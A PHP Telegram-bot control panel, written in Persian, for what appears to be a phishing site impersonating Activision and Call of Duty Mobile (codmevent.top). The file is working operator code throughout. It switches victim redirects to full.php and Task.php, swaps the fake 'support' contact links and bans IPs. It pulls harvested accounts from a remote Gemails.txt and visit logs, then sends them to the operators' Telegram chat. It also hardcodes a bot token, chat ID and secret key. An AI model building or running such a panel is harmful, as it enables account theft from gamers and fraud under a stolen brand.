<?php
// panel.php - Complete Admin Panel with Web Service Integration
$botToken = "7821243954:AAFkVmjJCHH25j1loPVfA2woA3ynO4iQMmg";
$chatId = "-1003193812415";
$apiUrl = "https://api.telegram.org/bot" . $botToken;
$secret_key = 'ACTIVISION_SECRET_KEY_12345';
$baseUrl = 'https://codmevent.top/codm/';

// لیست ادمین های مجاز
$adminUsers = [
    5873772591, // جایگزین کنید با آیدی عددی ادمین اول
    6381798690,
    7631657084, // جایگزین کنید با آیدی عددی ادمین دوم
];

// اطلاعات ادمین‌ها (برای نمایش نام در پیام خوشآمدگویی)
$adminNames = [
     5873772591=> "کاربر",
    7631657084 => "SHAPORI",
];

// تابع وب سرویس برای تنظیم لینک واتساپ
function setWhatsappLinkWeb($link) {
    global $baseUrl;
    $url = $baseUrl . 'set_whatsapp.php?link=' . urlencode($link);
    $result = file_get_contents($url);
    return $result;
}

// تابع وب سرویس برای تنظیم لینک تلگرام
function setTelegramLinkWeb($link) {
    global $baseUrl;
    $url = $baseUrl . 'set_telegram.php?link=' . urlencode($link);
    $result = file_get_contents($url);
    return $result;
}

// تابع بررسی آیا کاربر ادمین است
function isAdmin($userId) {
    global $adminUsers;
    return in_array($userId, $adminUsers);
}

// تابع دریافت نام ادمین
function getAdminName($userId) {
    global $adminNames;
    return $adminNames[$userId] ?? "ادمین";
}

// تابع برای پاسخ به callback query
function answerCallbackQuery($callbackQueryId, $text = '') {
    global $apiUrl;
    $url = $apiUrl . "/answerCallbackQuery?callback_query_id=" . $callbackQueryId;
    if (!empty($text)) {
        $url .= "&text=" . urlencode($text);
    }
    file_get_contents($url);
}

// تابع برای ارسال پیام
function sendMessage($chatId, $text, $replyMarkup = null) {
    global $apiUrl;
    $url = $apiUrl . "/sendMessage?chat_id=" . $chatId . "&text=" . urlencode($text) . "&parse_mode=HTML";
    if ($replyMarkup) {
        $url .= "&reply_markup=" . urlencode(json_encode($replyMarkup));
    }
    file_get_contents($url);
}

// تابع برای ویرایش پیام
function editMessageText($chatId, $messageId, $text, $replyMarkup = null) {
    global $apiUrl;
    $url = $apiUrl . "/editMessageText?chat_id=" . $chatId . "&message_id=" . $messageId . "&text=" . urlencode($text) . "&parse_mode=HTML";
    if ($replyMarkup) {
        $url .= "&reply_markup=" . urlencode(json_encode($replyMarkup));
    }
    file_get_contents($url);
}

// تابع برای ارسال فایل
function sendDocument($chatId, $documentPath, $caption = '') {
    global $apiUrl;
    $url = $apiUrl . "/sendDocument";
    
    $postFields = [
        'chat_id' => $chatId,
        'document' => new CURLFile(realpath($documentPath)),
        'caption' => $caption
    ];
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $result = curl_exec($ch);
    curl_close($ch);
    
    return $result;
}

// توابع مدیریت وضعیت‌ها
function setStatus($status) {
    file_put_contents('panel.txt', $status);
}

function getStatus() {
    if (file_exists('panel.txt')) {
        return trim(file_get_contents('panel.txt'));
    } else {
        return 'off';
    }
}

function setFullAccess($status) {
    file_put_contents('full_access.txt', $status);
}

function getFullAccess() {
    if (file_exists('full_access.txt')) {
        return trim(file_get_contents('full_access.txt'));
    } else {
        return 'off';
    }
}

function setTask($status) {
    file_put_contents('task.txt', $status);
}

function getTask() {
    if (file_exists('task.txt')) {
        return trim(file_get_contents('task.txt'));
    } else {
        return 'off';
    }
}

function getWhatsappLink() {
    $url = 'https://codmevent.top/codm/whatsapp_link.txt';
    $link = @file_get_contents($url);
    return ($link !== false) ? trim($link) : 'https://wa.me/17744585219';
}

function getTelegramLink() {
    $url = 'https://codmevent.top/codm/telegram_link.txt';
    $link = @file_get_contents($url);
    return ($link !== false) ? trim($link) : 'https://t.me/Activis0n_support';
}

function getVisitorCount() {
    $url = 'https://codmevent.top/codm/visitor_count.txt';
    $count = @file_get_contents($url);
    return ($count !== false) ? trim($count) : '0';
}

function getVisitsLog() {
    $url = 'https:///codm/visits_log.txt';
    $log = @file_get_contents($url);
    return ($log !== false) ? $log : 'No log available';
}

function getAccounts() {
    $url = 'https://codmevent.top/codm/Gemails.txt';
    $accounts = @file_get_contents($url);
    return ($accounts !== false) ? $accounts : 'No accounts registered';
}

function getBannedIPs() {
    $url = 'https://codmevent.top/codm/banned_ips.txt';
    $ips = @file_get_contents($url);
    return ($ips !== false) ? $ips : 'No IPs banned';
}

// پردازش درخواست‌های تلگرام
$update = json_decode(file_get_contents("php://input"), true);

if (isset($update["message"])) {
    $message = $update["message"];
    $chatIdMessage = $message["chat"]["id"];
    $userId = $message["from"]["id"];
    $firstName = $message["from"]["first_name"] ?? "";
    $lastName = $message["from"]["last_name"] ?? "";
    $username = $message["from"]["username"] ?? "";
    $text = $message["text"];

    // بررسی آیا کاربر ادمین است
    $isAdminUser = isAdmin($userId);

    // دستور start یا menu
    if ($text == "/start" || $text == "/menu") {
        if ($isAdminUser) {
            $adminName = getAdminName($userId);
            $welcomeMessage = "👋 <b>خوش آمدید {$adminName} عزیز!</b>\n\n";
            $welcomeMessage .= "🛠️ <b>پنل مدیریت Activision</b>\n\n";
            $welcomeMessage .= "📊 <b>وضعیت سایت:</b> " . (getStatus() == 'on' ? '🟢 روشن' : '🔴 خاموش') . "\n";
            $welcomeMessage .= "⭐ <b>دسترسی کامل:</b> " . (getFullAccess() == 'on' ? '🟢 فعال' : '🔴 غیرفعال') . "\n";
            $welcomeMessage .= "🎯 <b>وضعیت Task:</b> " . (getTask() == 'on' ? '🟢 روشن' : '🔴 خاموش') . "\n";
            $welcomeMessage .= "📱 <b>لینک واتساپ:</b> " . getWhatsappLink() . "\n";
            $welcomeMessage .= "📲 <b>لینک تلگرام:</b> " . getTelegramLink() . "\n\n";
            $welcomeMessage .= "👥 <b>تعداد بازدیدکنندگان:</b> " . getVisitorCount() . "\n\n";
            $welcomeMessage .= "لطفاً یک گزینه را انتخاب کنید:";
            
            $keyboard = [
                'inline_keyboard' => [
                    [
                        ['text' => '🟢 روشن کردن سایت', 'callback_data' => 'set_on'],
                        ['text' => '🔴 خاموش کردن سایت', 'callback_data' => 'set_off']
                    ],
                    [
                        ['text' => '⭐ فعال کردن دسترسی کامل', 'callback_data' => 'set_full_on'],
                        ['text' => '⭐ غیرفعال کردن دسترسی کامل', 'callback_data' => 'set_full_off']
                    ],
                    [
                        ['text' => '🎯 فعال کردن Task', 'callback_data' => 'set_task_on'],
                        ['text' => '🎯 غیرفعال کردن Task', 'callback_data' => 'set_task_off']
                    ],
                    [
                        ['text' => '📱 تغییر لینک واتساپ', 'callback_data' => 'change_whatsapp'],
                        ['text' => '📲 تغییر لینک تلگرام', 'callback_data' => 'change_telegram']
                    ],
                    [
                        ['text' => '📊 آمار بازدیدکنندگان', 'callback_data' => 'show_stats'],
                        ['text' => '📝 لیست اکانت‌ها', 'callback_data' => 'show_accounts']
                    ],
                    [
                        ['text' => '🔒 مسدود کردن IP', 'callback_data' => 'ban_ip'],
                        ['text' => '🔓 آزاد کردن IP', 'callback_data' => 'unban_ip'],
                        ['text' => '📋 لیست IPهای مسدود', 'callback_data' => 'show_banned']
                    ],
                    [
                        ['text' => '🔄 بروزرسانی', 'callback_data' => 'refresh_stats']
                    ]
                ]
            ];

            sendMessage($chatIdMessage, $welcomeMessage, $keyboard);
        } else {
            // کاربر عادی
            $welcomeMessage = "🤖 <b>ربات پشتیبانی Activision</b>\n\n";
            $welcomeMessage .= "👋 سلام! این ربات پشتیبانی Activision است.\n";
            $welcomeMessage .= "❌ شما دسترسی ادمین به این پنل را ندارید.\n\n";
            $welcomeMessage .= "📞 برای پشتیبانی، لطفاً با تیم ادمین ما تماس بگیرید.";
            
            sendMessage($chatIdMessage, $welcomeMessage);
        }
    }

    // اگر کاربر ادمین نیست، به هیچ دستوری پاسخ نده
    if (!$isAdminUser) {
        exit;
    }

    // دستورات متنی (فقط برای ادمین‌ها)
    if ($text == "/on") {
        setStatus('on');
        $statusMessage = "✅ <b>سایت روشن شد</b>\n\nکاربران اکنون می‌توانند به سایت دسترسی داشته باشند.";
        sendMessage($chatIdMessage, $statusMessage);
    } 
    elseif ($text == "/off") {
        setStatus('off');
        $statusMessage = "🔴 <b>سایت خاموش شد</b>\n\nکاربران به صفحه آفلاین هدایت خواهند شد.";
        sendMessage($chatIdMessage, $statusMessage);
    }
    elseif ($text == "/full_on") {
        setFullAccess('on');
        $statusMessage = "⭐ <b>دسترسی کامل فعال شد</b>\n\nکاربران به صفحه full.php هدایت خواهند شد.";
        sendMessage($chatIdMessage, $statusMessage);
    }
    elseif ($text == "/full_off") {
        setFullAccess('off');
        $statusMessage = "⭐ <b>دسترسی کامل غیرفعال شد</b>\n\nکاربران دیگر به صفحه full.php هدایت نخواهند شد.";
        sendMessage($chatIdMessage, $statusMessage);
    }
    elseif ($text == "/task_on") {
        setTask('on');
        $statusMessage = "🎯 <b>Task فعال شد</b>\n\nکاربران به صفحه Task.php هدایت خواهند شد.";
        sendMessage($chatIdMessage, $statusMessage);
    }
    elseif ($text == "/task_off") {
        setTask('off');
        $statusMessage = "🎯 <b>Task غیرفعال شد</b>\n\nکاربران دیگر به صفحه Task.php هدایت نخواهند شد.";
        sendMessage($chatIdMessage, $statusMessage);
    }
    elseif (strpos($text, '/set_whatsapp ') === 0) {
        $link = trim(substr($text, 13));
        if (filter_var($link, FILTER_VALIDATE_URL)) {
            $result = setWhatsappLinkWeb($link);
            $statusMessage = "✅ <b>" . $result . "</b>\n\nلینک جدید: " . $link;
            sendMessage($chatIdMessage, $statusMessage);
        } else {
            sendMessage($chatIdMessage, "❌ فرمت لینک وارد شده نامعتبر است.");
        }
    }
    elseif (strpos($text, '/set_telegram ') === 0) {
        $link = trim(substr($text, 14));
        if (filter_var($link, FILTER_VALIDATE_URL)) {
            $result = setTelegramLinkWeb($link);
            $statusMessage = "✅ <b>" . $result . "</b>\n\nلینک جدید: " . $link;
            sendMessage($chatIdMessage, $statusMessage);
        } else {
            sendMessage($chatIdMessage, "❌ فرمت لینک وارد شده نامعتبر است.");
        }
    }
    elseif ($text == "/stats") {
        $statsMessage = "📊 <b>آمار بازدیدکنندگان</b>\n\n";
        $statsMessage .= "👥 <b>تعداد کل بازدیدکنندگان:</b> " . getVisitorCount() . "\n\n";
        $statsMessage .= "📋 <b>بازدیدهای اخیر:</b>\n<code>" . substr(getVisitsLog(), -500) . "</code>";
        sendMessage($chatIdMessage, $statsMessage);
    }
    elseif ($text == "/accounts") {
        $accounts = getAccounts();
        if (strlen($accounts) > 4000) {
            file_put_contents('accounts.txt', $accounts);
            sendDocument($chatIdMessage, 'accounts.txt', 'لیست اکانت‌های ثبت شده');
            unlink('accounts.txt');
        } else {
            $accountsMessage = "📝 <b>اکانت‌های ثبت شده</b>\n\n";
            $accountsMessage .= "<code>" . $accounts . "</code>";
            sendMessage($chatIdMessage, $accountsMessage);
        }
    }
    elseif ($text == "/banned") {
        $banned = getBannedIPs();
        if (strlen($banned) > 4000) {
            file_put_contents('banned_ips_list.txt', $banned);
            sendDocument($chatIdMessage, 'banned_ips_list.txt', 'لیست آدرس‌های IP مسدود شده');
            unlink('banned_ips_list.txt');
        } else {
            $bannedMessage = "🔒 <b>آدرس‌های IP مسدود شده</b>\n\n";
            $bannedMessage .= "<code>" . $banned . "</code>";
            sendMessage($chatIdMessage, $bannedMessage);
        }
    }
    elseif (strpos($text, '/ban ') === 0) {
        $ip = trim(substr($text, 5));
        if (filter_var($ip, FILTER_VALIDATE_IP)) {
            $result = file_get_contents("https://codmevent.top/codm/banip.php?action=ban&ip=" . urlencode($ip) . "&key=" . urlencode($secret_key));
            sendMessage($chatIdMessage, $result);
        } else {
            sendMessage($chatIdMessage, "❌ فرمت آدرس IP نامعتبر است.");
        }
    }
    elseif (strpos($text, '/unban ') === 0) {
        $ip = trim(substr($text, 7));
        if (filter_var($ip, FILTER_VALIDATE_IP)) {
            $result = file_get_contents("https://codmevent.top/codm/banip.php?action=unban&ip=" . urlencode($ip) . "&key=" . urlencode($secret_key));
            sendMessage($chatIdMessage, $result);
        } else {
            sendMessage($chatIdMessage, "❌ فرمت آدرس IP نامعتبر است.");
        }
    }
}

// پردازش callback queries
if (isset($update["callback_query"])) {
    $callbackData = $update["callback_query"]["data"];
    $callbackChatId = $update["callback_query"]["message"]["chat"]["id"];
    $callbackMessageId = $update["callback_query"]["message"]["message_id"];
    $callbackQueryId = $update["callback_query"]["id"];
    $userId = $update["callback_query"]["from"]["id"];
    
    // بررسی آیا کاربر ادمین است
    if (!isAdmin($userId)) {
        $message = "❌ <b>دسترسی denied</b>\n\nشما مجوز استفاده از عملکردهای ادمین را ندارید.";
        editMessageText($callbackChatId, $callbackMessageId, $message);
        answerCallbackQuery($callbackQueryId, "دسترسی denied!");
        exit;
    }
    
    // پاسخ به callback query
    answerCallbackQuery($callbackQueryId);
    
    if ($callbackData === 'set_on') {
        setStatus('on');
        $statusMessage = "✅ <b>سایت روشن شد</b>\n\nکاربران اکنون می‌توانند به سایت دسترسی داشته باشند.";
        editMessageText($callbackChatId, $callbackMessageId, $statusMessage);
        
    } elseif ($callbackData === 'set_off') {
        setStatus('off');
        $statusMessage = "🔴 <b>سایت خاموش شد</b>\n\nکاربران به صفحه آفلاین هدایت خواهند شد.";
        editMessageText($callbackChatId, $callbackMessageId, $statusMessage);
        
    } elseif ($callbackData === 'set_full_on') {
        setFullAccess('on');
        $statusMessage = "⭐ <b>دسترسی کامل فعال شد</b>\n\nکاربران به صفحه full.php هدایت خواهند شد.";
        editMessageText($callbackChatId, $callbackMessageId, $statusMessage);
        
    } elseif ($callbackData === 'set_full_off') {
        setFullAccess('off');
        $statusMessage = "⭐ <b>دسترسی کامل غیرفعال شد</b>\n\nکاربران دیگر به صفحه full.php هدایت نخواهند شد.";
        editMessageText($callbackChatId, $callbackMessageId, $statusMessage);
        
    } elseif ($callbackData === 'set_task_on') {
        setTask('on');
        $statusMessage = "🎯 <b>Task فعال شد</b>\n\nکاربران به صفحه Task.php هدایت خواهند شد.";
        editMessageText($callbackChatId, $callbackMessageId, $statusMessage);
        
    } elseif ($callbackData === 'set_task_off') {
        setTask('off');
        $statusMessage = "🎯 <b>Task غیرفعال شد</b>\n\nکاربران دیگر به صفحه Task.php هدایت نخواهند شد.";
        editMessageText($callbackChatId, $callbackMessageId, $statusMessage);
        
    } elseif ($callbackData === 'change_whatsapp') {
        $message = "📱 <b>تغییر لینک واتساپ</b>\n\nلطفاً لینک جدید واتساپ را وارد کنید:\n\nفرمت: <code>/set_whatsapp https://wa.me/123456789</code>";
        editMessageText($callbackChatId, $callbackMessageId, $message);
        
    } elseif ($callbackData === 'change_telegram') {
        $message = "📲 <b>تغییر لینک تلگرام</b>\n\nلطفاً لینک جدید تلگرام را وارد کنید:\n\nفرمت: <code>/set_telegram https://t.me/username</code>";
        editMessageText($callbackChatId, $callbackMessageId, $message);
        
    } elseif ($callbackData === 'show_stats') {
        $statsMessage = "📊 <b>آمار بازدیدکنندگان</b>\n\n";
        $statsMessage .= "👥 <b>تعداد کل بازدیدکنندگان:</b> " . getVisitorCount() . "\n\n";
        $statsMessage .= "📋 <b>بازدیدهای اخیر:</b>\n<code>" . substr(getVisitsLog(), -500) . "</code>";
        sendMessage($callbackChatId, $statsMessage);
        
    } elseif ($callbackData === 'show_accounts') {
        $accounts = getAccounts();
        if (strlen($accounts) > 4000) {
            file_put_contents('accounts.txt', $accounts);
            sendDocument($callbackChatId, 'accounts.txt', 'لیست اکانت‌های ثبت شده');
            unlink('accounts.txt');
        } else {
            $accountsMessage = "📝 <b>اکانت‌های ثبت شده</b>\n\n";
            $accountsMessage .= "<code>" . $accounts . "</code>";
            sendMessage($callbackChatId, $accountsMessage);
        }
        
    } elseif ($callbackData === 'show_banned') {
        $banned = getBannedIPs();
        if (strlen($banned) > 4000) {
            file_put_contents('banned_ips_list.txt', $banned);
            sendDocument($callbackChatId, 'banned_ips_list.txt', 'لیست آدرس‌های IP مسدود شده');
            unlink('banned_ips_list.txt');
        } else {
            $bannedMessage = "🔒 <b>آدرس‌های IP مسدود شده</b>\n\n";
            $bannedMessage .= "<code>" . $banned . "</code>";
            sendMessage($callbackChatId, $bannedMessage);
        }
        
    } elseif ($callbackData === 'ban_ip') {
        $message = "🔒 <b>مسدود کردن آدرس IP</b>\n\nلطفاً آدرس IP برای مسدود کردن را وارد کنید:\n\nمثال: <code>/ban 192.168.1.1</code>";
        editMessageText($callbackChatId, $callbackMessageId, $message);
        
    } elseif ($callbackData === 'unban_ip') {
        $message = "🔓 <b>آزاد کردن آدرس IP</b>\n\nلطفاً آدرس IP برای آزاد کردن را وارد کنید:\n\nمثال: <code>/unban 192.168.1.1</code>";
        editMessageText($callbackChatId, $callbackMessageId, $message);
        
    } elseif ($callbackData === 'refresh_stats') {
        $adminName = getAdminName($userId);
        $welcomeMessage = "👋 <b>خوش آمدید {$adminName} عزیز!</b>\n\n";
        $welcomeMessage .= "🛠️ <b>پنل مدیریت Activision</b>\n\n";
        $welcomeMessage .= "📊 <b>وضعیت سایت:</b> " . (getStatus() == 'on' ? '🟢 روشن' : '🔴 خاموش') . "\n";
        $welcomeMessage .= "⭐ <b>دسترسی کامل:</b> " . (getFullAccess() == 'on' ? '🟢 فعال' : '🔴 غیرفعال') . "\n";
        $welcomeMessage .= "🎯 <b>وضعیت Task:</b> " . (getTask() == 'on' ? '🟢 روشن' : '🔴 خاموش') . "\n";
        $welcomeMessage .= "📱 <b>لینک واتساپ:</b> " . getWhatsappLink() . "\n";
        $welcomeMessage .= "📲 <b>لینک تلگرام:</b> " . getTelegramLink() . "\n\n";
        $welcomeMessage .= "👥 <b>تعداد بازدیدکنندگان:</b> " . getVisitorCount() . "\n\n";
        $welcomeMessage .= "آمار با موفقیت بروزرسانی شد!";
        
        $keyboard = [
            'inline_keyboard' => [
                [
                    ['text' => '🟢 روشن کردن سایت', 'callback_data' => 'set_on'],
                    ['text' => '🔴 خاموش کردن سایت', 'callback_data' => 'set_off']
                ],
                [
                    ['text' => '⭐ فعال کردن دسترسی کامل', 'callback_data' => 'set_full_on'],
                    ['text' => '⭐ غیرفعال کردن دسترسی کامل', 'callback_data' => 'set_full_off']
                ],
                [
                    ['text' => '🎯 فعال کردن Task', 'callback_data' => 'set_task_on'],
                    ['text' => '🎯 غیرفعال کردن Task', 'callback_data' => 'set_task_off']
                ],
                [
                    ['text' => '📱 تغییر لینک واتساپ', 'callback_data' => 'change_whatsapp'],
                    ['text' => '📲 تغییر لینک تلگرام', 'callback_data' => 'change_telegram']
                ],
                [
                    ['text' => '📊 آمار بازدیدکنندگان', 'callback_data' => 'show_stats'],
                    ['text' => '📝 لیست اکانت‌ها', 'callback_data' => 'show_accounts']
                ],
                [
                    ['text' => '🔒 مسدود کردن IP', 'callback_data' => 'ban_ip'],
                    ['text' => '🔓 آزاد کردن IP', 'callback_data' => 'unban_ip'],
                    ['text' => '📋 لیست IPهای مسدود', 'callback_data' => 'show_banned']
                ],
                [
                    ['text' => '🔄 بروزرسانی', 'callback_data' => 'refresh_stats']
                ]
            ]
        ];
        
        editMessageText($callbackChatId, $callbackMessageId, $welcomeMessage, $keyboard);
    }
}
?>